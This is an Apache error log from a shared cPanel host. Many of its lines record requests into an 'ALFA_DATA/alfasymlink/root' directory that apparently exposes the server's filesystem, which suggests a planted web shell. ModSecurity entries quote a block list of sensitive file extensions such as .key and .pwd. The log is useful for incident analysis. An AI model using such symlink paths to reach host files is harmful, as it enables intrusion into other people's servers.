[Sun Oct 25 12:37:59.725372 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 3.221.156.96:38889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:03.205224 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 54.84.93.8:41567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:07.326304 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 52.4.76.156:48970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rescan
[Sun Oct 25 12:38:11.148256 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 3.215.59.93:13466] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:15.227645 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 52.205.113.104:7787] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:19.431128 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 44.210.204.255:19011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:23.369013 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 44.197.76.210:24762] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:35.234621 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 34.196.6.199:9464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/remove
[Sun Oct 25 12:38:39.342348 2026] [ssl:error] [pid 2862806:tid 2862806] (5)Input/output error: [client 54.197.114.76:52691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:43.713085 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 98.84.131.195:29572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:38:55.455789 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 98.83.177.42:63412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:39:03.994997 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 44.214.19.8:50318] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:39:03.995243 2026] [security2:error] [pid 2862773:tid 2862773] [client 44.214.19.8:50318] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/drivers/button/LNXPWRBN:00/driver/LNXPWRBN:00/power/runtime_status"] [unique_id "at4wp1Y5e6yJWIYGXiqC9AAAAAk"]
[Sun Oct 25 12:39:03.995281 2026] [security2:error] [pid 2862773:tid 2862773] [client 44.214.19.8:50318] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/drivers/button/LNXPWRBN:00/driver/LNXPWRBN:00/power/runtime_status"] [unique_id "at4wp1Y5e6yJWIYGXiqC9AAAAAk"]
[Sun Oct 25 12:39:09.583126 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 185.191.171.17:26680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/aliases
[Sun Oct 25 12:39:19.634507 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 3.232.102.111:56372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/drivers/vmd/module/drivers/pci:vmd/bind
[Sun Oct 25 12:39:25.234629 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 54.235.172.96:33304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:39:27.570176 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 23.21.228.180:10385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:39:31.459312 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 52.201.155.215:59156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:39:31.459568 2026] [security2:error] [pid 2862865:tid 2862865] [client 52.201.155.215:59156] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/dma_mask_bits"] [unique_id "at4ww3vX2oTK9P2LzVmHtAAAAD8"]
[Sun Oct 25 12:39:31.459617 2026] [security2:error] [pid 2862865:tid 2862865] [client 52.201.155.215:59156] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/dma_mask_bits"] [unique_id "at4ww3vX2oTK9P2LzVmHtAAAAD8"]
[Sun Oct 25 12:39:39.620767 2026] [core:error] [pid 2862816:tid 2862816] (13)Permission denied: [client 18.204.152.114:10982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/console/subsystem/tty31/subsystem/ttyS0/device/driver/bind
[Sun Oct 25 12:40:03.515278 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 44.209.35.147:16869] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/drivers_probe
[Sun Oct 25 12:40:05.248573 2026] [core:error] [pid 2862816:tid 2862816] (13)Permission denied: [client 185.191.171.13:41826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/aliases
[Sun Oct 25 12:40:07.531913 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 34.233.219.155:55371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:40:11.802845 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 44.194.139.149:36612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:40:15.653362 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 23.21.225.190:58732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:40:21.338245 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 185.191.171.2:54888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/cpu_slabs
[Sun Oct 25 12:40:27.632134 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 34.194.226.74:28254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:40:47.671097 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 3.225.45.252:4035] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:40:51.272143 2026] [security2:error] [pid 2862875:tid 2862875] [client 188.253.216.102:9554] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4xE5hqgnbPQM86Wt8CMgAAAEc"], referer: https://each.co.in/redirect.php?ref_host=fjnats.com
[Sun Oct 25 12:40:51.273343 2026] [authz_core:error] [pid 2862875:tid 2862875] [client 188.253.216.102:9554] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://each.co.in/redirect.php?ref_host=fjnats.com
[Sun Oct 25 12:40:51.790442 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 3.216.13.10:49083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:40:55.714539 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 100.29.34.97:25402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:40:59.892615 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 34.225.138.57:51238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:41:15.743289 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 35.168.238.50:63571] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:41:19.907209 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 52.202.52.82:30742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:41:31.727080 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 184.72.84.154:56744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/uevent
[Sun Oct 25 12:41:35.861798 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 52.45.77.169:63704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:41:41.076816 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 54.147.238.89:14897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:41:46.056624 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 185.191.171.11:22298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/objects
[Sun Oct 25 12:41:55.761420 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.232.39.98:27589] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:42:02.979630 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 85.208.96.196:44278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/slabs
[Sun Oct 25 12:42:06.183797 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 85.208.96.193:51832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/cpu_slabs
[Sun Oct 25 12:42:15.642712 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 34.236.41.241:51982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:08/eject
[Sun Oct 25 12:42:23.736318 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.208.223.68:62747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:42:28.174726 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 34.225.24.180:16939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:42:30.264516 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 85.208.96.203:39712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/ctor
[Sun Oct 25 12:42:47.663920 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 52.4.229.9:43121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:42:51.552330 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 52.3.104.214:31377] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:42:55.102781 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 85.208.96.208:23554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/destroy_by_rcu
[Sun Oct 25 12:42:55.751388 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 50.16.248.61:44096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:43:09.107197 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 34.192.67.98:64766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:43:12.850375 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 18.215.24.66:25020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:43:23.896382 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 54.243.63.52:23979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:43:43.597371 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 52.6.232.201:7739] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:43:51.782440 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 54.152.163.42:53818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:44:00.020164 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.204.71.8:61959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:44:03.819078 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.225.199.17:3517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:44:07.394887 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 85.208.96.196:61770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/poison
[Sun Oct 25 12:44:07.665421 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 98.83.72.38:20240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:44:11.960204 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 3.94.156.104:44796] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory1/subsystem/uevent
[Sun Oct 25 12:44:15.727416 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 34.195.60.66:40448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/compact
[Sun Oct 25 12:44:23.838520 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 3.214.176.44:27534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:44:28.243913 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 185.191.171.13:24932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/free_calls
[Sun Oct 25 12:44:31.713991 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 3.216.86.144:26395] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/uevent
[Sun Oct 25 12:44:44.533902 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 18.214.238.178:63059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:44:48.004763 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 98.83.177.42:3937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:44:59.815045 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 3.216.86.144:26390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/unbind
[Sun Oct 25 12:45:04.028930 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 52.0.41.164:10084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/Cavium PTP Driver/uevent
[Sun Oct 25 12:45:19.726513 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 3.94.199.128:56758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/remove
[Sun Oct 25 12:45:23.893157 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 54.88.84.219:36480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/remove
[Sun Oct 25 12:45:28.502137 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 85.208.96.204:54792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/slabs_cpu_partial
[Sun Oct 25 12:45:31.732007 2026] [core:error] [pid 2862806:tid 2862806] (13)Permission denied: [client 107.20.224.184:50716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/hardware_error_device/unbind
[Sun Oct 25 12:45:39.775900 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.5.242.243:11661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:45:43.823929 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 184.73.195.18:23083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:45:51.824680 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.221.105.234:63587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:45:59.751552 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 44.193.115.232:18490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/compact
[Sun Oct 25 12:46:00.319208 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 185.191.171.8:27936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/cgroup/memory/memory.pressure_level
[Sun Oct 25 12:46:01.808870 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 185.191.171.17:21086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects_partial
[Sun Oct 25 12:46:06.834187 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 185.191.171.13:19424] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:46:19.777887 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 44.213.36.21:20424] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:46:25.107243 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 185.191.171.19:35432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/trace
[Sun Oct 25 12:46:35.712628 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.194.134.53:44181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:46:39.928918 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 54.159.18.27:51323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:46:44.161200 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 185.191.171.16:24484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/reclaim_account
[Sun Oct 25 12:46:45.012431 2026] [security2:error] [pid 2862845:tid 2862845] [client 195.178.110.105:54734] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/"] [unique_id "at4ydFR7hiVQnPOARxKtpgAAAC4"]
[Sun Oct 25 12:46:45.012468 2026] [security2:error] [pid 2862845:tid 2862845] [client 195.178.110.105:54734] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/"] [unique_id "at4ydFR7hiVQnPOARxKtpgAAAC4"]
[Sun Oct 25 12:46:47.998022 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 35.171.117.160:34516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:07.746039 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 34.231.45.47:4870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:11.929060 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 44.215.235.20:11779] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:15.713408 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 184.73.47.24:25532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:18.948995 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 185.191.171.8:58696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:19.726886 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 23.21.225.190:44088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:23.735549 2026] [security2:error] [pid 2858941:tid 2858941] [client 195.178.110.105:31326] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/onboarding"] [unique_id "at4ym2u-o0KBJy2cxdBIvgAAAAM"]
[Sun Oct 25 12:47:23.735594 2026] [security2:error] [pid 2858941:tid 2858941] [client 195.178.110.105:31326] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/onboarding"] [unique_id "at4ym2u-o0KBJy2cxdBIvgAAAAM"]
[Sun Oct 25 12:47:23.853948 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 44.218.170.184:45437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:27.820668 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 34.235.239.240:41661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:39.921926 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 34.233.219.155:29084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:47:55.765022 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.3.127.170:65002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:48:04.052621 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 23.21.225.190:36742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:48:07.918013 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 185.191.171.19:48982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:48:11.669609 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.225.181.161:18906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:48:35.645448 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 107.20.255.194:50871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:48:51.894559 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 54.197.178.107:30399] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/port
[Sun Oct 25 12:48:55.698170 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 44.212.131.50:22924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:48:59.857691 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 3.232.82.72:8283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:49:11.866580 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 54.87.95.7:20573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:49:20.226136 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 3.208.156.9:64825] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:49:27.291875 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 185.191.171.2:30170] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/partial
[Sun Oct 25 12:49:35.696894 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 54.84.93.8:62921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:49:51.774969 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 52.2.4.213:4263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:49:59.612042 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.81.253.213:54626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:03.681232 2026] [ssl:error] [pid 2862871:tid 2862871] (5)Input/output error: [client 34.231.181.240:50519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:08.625321 2026] [security2:error] [pid 2862806:tid 2862806] [client 185.191.171.10:64566] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/balanced/tuned.conf"] [unique_id "at4zQBKqFxYAd_HiRLeliAAAABQ"]
[Sun Oct 25 12:50:08.625731 2026] [security2:error] [pid 2862806:tid 2862806] [client 185.191.171.10:64566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/balanced/tuned.conf"] [unique_id "at4zQBKqFxYAd_HiRLeliAAAABQ"]
